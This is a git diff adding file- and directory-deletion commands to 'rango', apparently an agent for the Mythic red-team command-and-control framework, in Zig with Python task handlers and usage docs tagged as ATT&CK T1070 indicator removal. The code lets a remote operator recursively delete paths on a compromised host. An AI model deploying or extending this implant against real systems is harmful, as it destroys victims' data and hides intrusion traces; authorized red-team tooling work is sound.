diff --git a/Payload_Type/rango/rango/agent_code/src/commands.zig b/Payload_Type/rango/rango/agent_code/src/commands.zig index 3417cea..3c6a0df 100644 --- a/Payload_Type/rango/rango/agent_code/src/commands.zig +++ b/Payload_Type/rango/rango/agent_code/src/commands.zig @@ -31,6 +31,10 @@ pub const CommandExecutor = struct { return try self.executeDownload(task); } else if (std.mem.eql(u8, task.command, "upload")) { return try self.executeUpload(task); + } else if (std.mem.eql(u8, task.command, "deletefile")) { + return try self.deleteFile(task); + } else if (std.mem.eql(u8, task.command, "deletedirectory")) { + return try self.deleteDirectory(task); } else { return MythicResponse{ .task_id = task.id, @@ -248,4 +252,66 @@ pub const CommandExecutor = struct { .status = "completed", }; } + + fn deleteFile(self: *CommandExecutor, task: MythicTask) !MythicResponse { + const Parameters = struct { + path: []const u8, + }; + const parsed = try json.parseFromSlice(Parameters, self.allocator, task.parameters, .{}); + defer parsed.deinit(); + const path = parsed.value.path; + if (path.len == 0) { + return MythicResponse{ + .task_id = task.id, + .user_output = "No path provided", + .completed = true, + .status = "error", + }; + } + std.fs.deleteFileAbsolute(path) catch |err| { + return MythicResponse{ + .task_id = task.id, + .user_output = try std.fmt.allocPrint(self.allocator, "Failed to delete file: {}", .{err}), + .completed = true, + .status = "error", + }; + }; + return MythicResponse{ + .task_id = task.id, + .user_output = try std.fmt.allocPrint(self.allocator, "Deleted file: {s}", .{path}), + .completed = true, + .status = "completed", + }; + } + + fn deleteDirectory(self: *CommandExecutor, task: MythicTask) !MythicResponse { + const Parameters = struct { + path: []const u8, + }; + const parsed = try json.parseFromSlice(Parameters, self.allocator, task.parameters, .{}); + defer parsed.deinit(); + const path = parsed.value.path; + if (path.len == 0) { + return MythicResponse{ + .task_id = task.id, + .user_output = "No path provided", + .completed = true, + .status = "error", + }; + } + std.fs.deleteTreeAbsolute(path) catch |err| { + return MythicResponse{ + .task_id = task.id, + .user_output = try std.fmt.allocPrint(self.allocator, "Failed to delete directory: {}", .{err}), + .completed = true, + .status = "error", + }; + }; + return MythicResponse{ + .task_id = task.id, + .user_output = try std.fmt.allocPrint(self.allocator, "Deleted directory: {s}", .{path}), + .completed = true, + .status = "completed", + }; + } }; diff --git a/Payload_Type/rango/rango/agent_functions/delete_directory.py b/Payload_Type/rango/rango/agent_functions/delete_directory.py new file mode 100644 index 0000000..ffd40df --- /dev/null +++ b/Payload_Type/rango/rango/agent_functions/delete_directory.py @@ -0,0 +1,75 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +from mythic_container.MythicGoRPC import * + +class DeleteDirectoryArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter(name="path", display_name="Delete directory", type=ParameterType.String, + description="Path of the directory to delete"), + ] + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Must supply a path to run") + self.add_arg("command", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) + +class DeleteDirectoryCommand(CommandBase): + cmd = "deletedirectory" + needs_admin = False + help_cmd = "delete_directory /path/to/directory" + description = """This deletes the specified directory""" + version = 1 + author = "@pop-ecx" + attackmapping = ["T1070"] + argument_class = DeleteDirectoryArguments + attributes = CommandAttributes( + suggested_command=True + ) + + async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: + response = PTTTaskOPSECPreTaskMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + OpsecPreBlocked=False, + OpsecPreBypassRole="other_operator", + OpsecPreMessage="Delete file command allowed to execute.", + ) + return response + async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse: + response = PTTTaskOPSECPostTaskMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + OpsecPostBlocked=False, + OpsecPostBypassRole="other_operator", + OpsecPostMessage="Delete file command post-processing allowed.", + ) + return response + async def create_go_tasking(self, taskData: MythicCommandBase.PTTaskMessageAllData) -> MythicCommandBase.PTTaskCreateTaskingMessageResponse: + response = MythicCommandBase.PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + Parameters=taskData.args.get_arg("path"), + ) + await SendMythicRPCArtifactCreate(MythicRPCArtifactCreateMessage( + TaskID=taskData.Task.ID, ArtifactMessage="{}".format(taskData.args.get_arg("path")), + BaseArtifactType="Process Create" + )) + response.DisplayParams = taskData.args.get_arg("path") + return response + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + if isinstance(response, dict) and "user_output" in response: + resp.Output = response["user_output"] + if "status" in response and response["status"] == "error": + resp.Success = False + elif isinstance(response, str): + resp.Output = response + else: + resp.Output = "Unexpected response format: " + str(response) + + resp.completed = True + return resp diff --git a/Payload_Type/rango/rango/agent_functions/delete_file.py b/Payload_Type/rango/rango/agent_functions/delete_file.py new file mode 100644 index 0000000..20a03b8 --- /dev/null +++ b/Payload_Type/rango/rango/agent_functions/delete_file.py @@ -0,0 +1,78 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +from mythic_container.MythicGoRPC import * + +class DeleteFileArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter(name="path", display_name="Delete file", type=ParameterType.String, + description="Path of the file to delete"), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Must supply a path to run") + self.add_arg("command", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) + +class DeleteFileCommand(CommandBase): + cmd = "deletefile" + needs_admin = False + help_cmd = "deletefile /path/to/file" + description = """This deletes the specified file""" + version = 1 + author = "@pop-ecx" + attackmapping = ["T1070"] + argument_class = DeleteFileArguments + attributes = CommandAttributes( + suggested_command=True + ) + + async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: + response = PTTTaskOPSECPreTaskMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + OpsecPreBlocked=False, + OpsecPreBypassRole="other_operator", + OpsecPreMessage="Delete file command allowed to execute.", + ) + return response + async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse: + response = PTTTaskOPSECPostTaskMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + OpsecPostBlocked=False, + OpsecPostBypassRole="other_operator", + OpsecPostMessage="Delete file command post-processing allowed.", + ) + return response + async def create_go_tasking(self, taskData: MythicCommandBase.PTTaskMessageAllData) -> MythicCommandBase.PTTaskCreateTaskingMessageResponse: + response = MythicCommandBase.PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + Parameters=taskData.args.get_arg("path"), + ) + await SendMythicRPCArtifactCreate(MythicRPCArtifactCreateMessage( + TaskID=taskData.Task.ID, ArtifactMessage="{}".format(taskData.args.get_arg("path")), + BaseArtifactType="Process Create" + )) + + response.DisplayParams = taskData.args.get_arg("path") + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + if isinstance(response, dict) and "user_output" in response: + resp.Output = response["user_output"] + if "status" in response and response["status"] == "error": + resp.Success = False + elif isinstance(response, str): + resp.Output = response + else: + resp.Output = "Unexpected response format: " + str(response) + + resp.completed = True + return resp diff --git a/documentation-payload/rango/commands/deletedirectory.md b/documentation-payload/rango/commands/deletedirectory.md new file mode 100644 index 0000000..55b838e --- /dev/null +++ b/documentation-payload/rango/commands/deletedirectory.md @@ -0,0 +1,20 @@ +## Description +deletedirectory is used to delete a specified directory from the file system. + +## Usage + +``` +deleledirectory +``` + +### Examples + +``` +> for linux +deletedirectory /home/user/important +``` + +``` +> for windows +deletedirectory C:\Users\user\important +``` diff --git a/documentation-payload/rango/commands/deletefile.md b/documentation-payload/rango/commands/deletefile.md new file mode 100644 index 0000000..f29cac2 --- /dev/null +++ b/documentation-payload/rango/commands/deletefile.md @@ -0,0 +1,20 @@ +## Description +deletefile is used to delete a specified file from the file system. + +## Usage + +``` +deletefile +``` + +### Examples + +``` +> for linux +deletefile /home/user/important.txt +``` + +``` +> for windows +deletefile C:\Users\user\important.txt +```